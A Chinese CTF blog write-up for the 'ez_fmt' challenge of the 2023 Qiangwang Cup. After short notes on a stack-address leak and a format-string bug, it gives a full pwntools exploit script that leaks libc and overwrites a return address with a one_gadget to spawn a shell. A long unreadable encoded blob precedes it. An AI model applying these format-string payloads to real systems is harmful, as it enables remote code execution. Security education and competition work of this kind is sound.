YDg42IbaOSlPWxelCKDz0cZAqlzt6vEkbidlBsyoWyoi8hIYr2k%2BaZ8t8dpFHPBCg0C1a1xtnb5Myjr99vDQfNUVfJ7K1rlWLxw3ulb0M4dIde4SwlNsUjM0CMYOIWBlQHPFqNjSXQNoETanSap0%2Bkf2Ncblh5E6Z81Cd9AEE7NV4FIbyeKlLaFEhrUdBf0%2BGXG7LZs2bWsTW1zPG2H2CYndxh9SuNUyjJYmPhcr88yk65ePanzQdyAg9y3XJM8L4zry4YEAnfum%2BVdxXDT0C1yqJUUI1Ywmfy6yMjzaLwDeJmJiQJ93rT8y7kqnjki1uvDK%2BEl6BzMr3OWeGKlbci%2BdAPamVTscJsmWYHCRQgdP/U9FiJED5g05YFC6PJvR92gNpspbf8UcPkN4WstbLbmMYBx4Z/gVB%2BQhTSY0uAKge9gnBZtnmu5a2NQwapC9GFJVJ9kmWXW3kylTLCH69PDg9A4GOvCY7vjhL5DH%2BZWU7yTayn%2BPPYpksB98mgP1VcCQzk79xVcs8edOCcSAo4vNypAFYN4lMni%2BhvG3mo7xBwWdU1Wdd00xzyHyAAbpTgjgXpAvNh9luxmhzz31%2BQP9SnZitm1cqxIsFuokZzwA7RAbNYd14/CHRS3Y4TJ6Tb8IuiDqa2ERGh9GBMD6CYfOfVzH0sRrCG2X9l5Cz/8ZhG367j6ufk3ynT2RQlzkKz7kd/rU1o8fK0nIa2Mgm%2BHndMvfLF/hE85C1D0Dg3pEVOUJ4xt72Q10s%2BorlbGtNt6qLo%2BmlBasagWqffqp%2B0qFg%2BagkHu1d8/UEhOapAw3qtWd6iQ5c0kXRYeGfGJwJjkURuHTOMPxnN6anxqrp47GqKSU8DVjuCGnSbG%2BsMTygEMaaV/EfFhh/rJPckMLVuBvOjO49KsW6AoVkIji8ICEuDVQZE1o99p2hgTU7q91i/c0zdzYz8u%2BzVNo/A3znyPUrHO68mU47TzfD8s2tMGJW7%2BYHAnkR0D%2BD1f82tmchEtJmbt2bHBkEhNyU/MtFZ/h2LzeVBWdFXmDTRQVSunO5R7HkwwkH5Ao9PyhmfvO1N0aspxpKRykS1fv8GryvNwNm/z02x9mYt0HKPZVHMpsfrGomRXfV8%2BKQR5Jj%2BRExJJ4rD3CZpeOdwtCYY7cxHeWMNPdt8/8Y0CXMC0zKltpwF8D5jjVoqdMbaCxLkXlWxBiPUOTfIDKAOtd798t%2BDsvjV8fR6yCID3L4s1BV8%2B5/c6Oarc/1oh%2Bj65PbzeWJjrJHa4Ve18S0S/HZECA%2BhV6X37HW69TFSVGpJwes%2Bj0PM4Gj0MwHiE1WgVGzHk3oyQG015mTJkvgz0V8nQpA6%2BFHqHalh2YCR2gYJxLIBzVI/7iMzdQZVdsbZsPnLE9StlQfymRE1725udSzL%2BP8MXy5pyEJDHOLnhSamNywH0C8NaS/gwsziqwg3WyHH8pgJJ2iwPE/G6SjhWTO5f84iO10kAFeAo%2B0pbRSgxR4w04pflggZ6bVPJOP0VfmkalUVfI7ACsmPuiWSzA3ORRlKPOSDGAZR7/6t0trA/WiCS1fj9PoirpojrwWBj9EiAZstv2k7YeVk9T1qn4zXShqzpVlJA8H04AIThB5tMDVJb9CPZ%2Be3OAxmoF3ACWJaHNOz7U1TAgb25mvvYlL0VvuCAzEinFtW/exXt8aYeO0i4BAEmRLemzJSRNxl4100u3lqvGOgUvi8L%2BBOEh8X3fZnEgpbH8PFVrX%2BerZFH%2BXr3NavkhwJVJTAj0xt7c4V6V14iHLrItQSOtR0dSL8KY0pn9xFsAqIUehfjFOW6mGq8ZIAnbGopoqHGBNGfJj5QTMBsSG2WaxE4aBSIW7QiFy7E/5mHB23MM%2BKOLwXAHJIVU7eCdt/Cbvz412fZN0vL2et8hqlVXysZ4s4U6WHoMtm%2B6F7VpNB69NNgsmwoefLfOF3KF/ROsWgcee%2BJtHQ73SF9gG6tBV%2BcnkQa4FySWUVhGA9Sj3P2YBszCc01icoT1GoA3qtoAisVgzpLK00BjwNGfM3jrYdfFB4RK0aoapH1FNW8dS6bJ1UPWDUOj5Xfm0ucrqD0jxUdGbZrplg0M%2BgX4l9kIMXCwGfhaY%2Bo5IqAmmLaKvROgNo6n5DsgwEApK13o7k8EikxEbgw/Q5CFH28bpD/g6r3/jp0jlV65T2QgJx2ThzNNPntbd9oOZMcv4gJN%2BYSQ0tP4mKLyO15SbQVI1X0ND2aDqnhKv8Vw0mydEZMQOZUe11NERYJ7cAGBkL8gbNLNKcG6m1ZExBD/jp8ezd1a4rkaxY3S9zrHBJ80GnS%2BG%2BsqtYEVJ5MjvPIII9qJtoOk%2BWl1sF9XcBm/PI2HvZv/KHovD/3dr1OdLu6Dqf6EnJhfA92UwDj/VOAwGYxtt2l7gNeJ4lhT8mWm4jJe2UKW8nhGOeOgfhpPCkr7pt6GS8s%2Bubgx0lqrzM2f2Py9t5riRRGIXNROLBRWQvyn/42Kme8ql6%2B67fTliyxwY42E7OS1QEdtA6/Ys/HJWs9QZ7RMDGNtBY3%2BLwGy5NV92DzVPmycKCB4LhvRt1zfv1WVM/uWEYmqq5SVSbmR8AMW5lTT2WHMfnEhXj5leW17j/aQg5wmFX5kl8NTodyZ7OtesXKnP1dNIp%2BnJMhnm0dOqr/cK4XvbcoHcnAurnySVjAAO/tP3wRcp2K4IArX7QCkbLr92eFaX0TP%2BvVjmwYM9JTXNyBcfUu%2BcLIWGrUfQ0nQ0VeSgn0w96usmb6vXrDByWEKwfgl5dsUPBPKEttmPFAulPQpbs0ikCWRh23QYM9nr3aB66PNeHoE%2BjKQsQTUhVQUoJ9J7pukRyldlT//JxZylrKZcfYrgJtPDtjE%2BBFRq%2BbUjifVHeX2ejJW%2BvQJmsdAKOjdPzxKpjv/8D37LNEIImgnWWx14YoavYHTKfZn6Y%2BbSLuwEbgMnftSBqCPefltedjci87iGmMUsjnzBwRUVQtsaMeFtiREiGp8eyfHjiON1iV8SZUjxc62Y5zzVlwf0geBTpISiJ4QbwMmdfXRPSBWAxUGs/ukuI1mZZzTq3n%2BESl7Z09UE5sHAOBQnZTV4jsxI3Mh3cnXg%2BbUUGibNa4uI/211zUWvZr0mScnwj0GRbc%2B5QZF5ZnAE5D33nyhNy8iAemQhBYaJQSzJgs8tcMLgi7igehuAN79gHPHfLteDrJlXPAXMnGgsMKxxoXaR9RE7S2ak1lDSdDxVcb6VwU2/You47Huy/Bk/aQS48I%2BK6L795qpdwoeL6Gf2A/3Qv86eKjAZNxquVez6lFzmncLLWEl2WGH4zR47IeZzATtY%2BnCkoYyqyeJyVK6a67oUAzB0Pf1tXrZ%2BXZGMsZmHocQdABbrxLaSh7zVCeklSaGAf3qYlQolE9kd7AOdEq7eOyyNZSZQRnGvTHsIx%2BvU1MIt62jGB5Gou9cwz7zcAjPrm9OqUMR3IIgj8qZdFjzzJ8oUcHifK1BOaB7lo2TmCZchd9yrm%2BikNFTAAAAAAAAAAAIF37vXZVAAAAAP6mHjYAAAEAAAAAAAAAoDI46WZ/

ez_fmt

gift会泄露栈顶地址，动调可以算出ret参数的地址

格式化字符串漏洞任意地址写，可以劫持返回地址，利用printf函数泄露libc地址

给了libc文件，直接尝试打one_gadget

from pwn import *
from pwn import p64
def debug():
    gdb.attach(r)
    pause()

r=remote('47.104.24.40',1337)
#r=process('./ez_fmt')
elf=ELF("./ez_fmt")
libc=ELF("./libc-2.31.so")
context(arch='amd64', os='linux', log_level='debug')

r.recvuntil(b'There is a gift for you ')
stack_rsp=int(r.recv(14),16)

#debug()
#-----calc addr
stack_printf_ret = stack_rsp - 0x8
stack_ret = stack_rsp + 0x78
stack_printf = stack_rsp + 0x158
success('stack_rsp: %s',hex(stack_rsp))
success('stack_ret: %s',hex(stack_ret))
success('stack_printf: %s',hex(stack_printf))

ogg1 = 0xe3afe
ogg2 = 0xe3b01
ogg3 = 0xe3b04

stack_printf_ret_addr = stack_printf_ret & 0xffff
success('stack_printf_ret_addr %s',hex(stack_printf_ret_addr))
#debug()
#-----hijack ret_addr&&leak libc_base
payload=b'%19$p'
payload+=b'%'+str(0x1205-6-8).encode()+b'c%10$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_printf_ret)
r.send(payload)

r.recvuntil(b'0x')

libc_base=int(r.recv(12),16) - 0xf3 - libc.sym['__libc_start_main']
one=libc_base+ogg2
one1=one&0xffff
one2=(one>>16)&0xffff
success('libc_base: %s',hex(libc_base))

payload=b'%'+str(one2).encode()+b'c%10$hn'
payload+=b'%'+str(one1-one2).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_ret-0x10+2)+p64(stack_ret-0x10)
r.send(payload)

r.interactive()

CTF > Write Up

#强网杯

强网杯S7

https://g1at.github.io/2023/12/21/强网杯2023/

作者

g0at

发布于

2023年12月21日

许可协议

ECU 上一篇

Teslaaaaa 下一篇